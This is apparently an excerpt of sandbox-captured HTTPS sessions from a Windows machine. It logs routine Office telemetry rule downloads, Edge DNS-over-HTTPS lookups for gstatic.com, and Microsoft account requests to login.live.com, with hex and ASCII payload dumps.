2024-11-25 17:28:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49752	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 17:28:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 5f7c24f1-266a-4faf-8231-1a9c0a491203 PPServer: PPV: 30 H: BL02EPF0001D90E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:32 GMT Connection: close Content-Length: 1276
2024-11-25 17:28:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d58f6c79-601e-00ab-760a-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-178bfbc474brk967hC1NYCfu6000000007kg00000000cke0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-174c587ffdf4zw2thC1TEBu34000000006dg00000000125q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-174c587ffdf8fcgwhC1TEBnn7000000006c000000000k9dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-178bfbc474bbcwv4hC1NYCypys00000007q0000000006bw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-178bfbc474bw8bwphC1NYC38b400000007fg00000000vggp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49782	162.159.61.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 17:28:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e835b219d3243f2-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 17:28:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 cf 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49777	172.64.41.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 17:28:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e835b21eae0422b-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 17:28:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c9 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49787	162.159.61.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 17:28:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e835b21ef5d7274-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 17:28:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1d 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49788	162.159.61.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49789	172.64.41.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49773	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
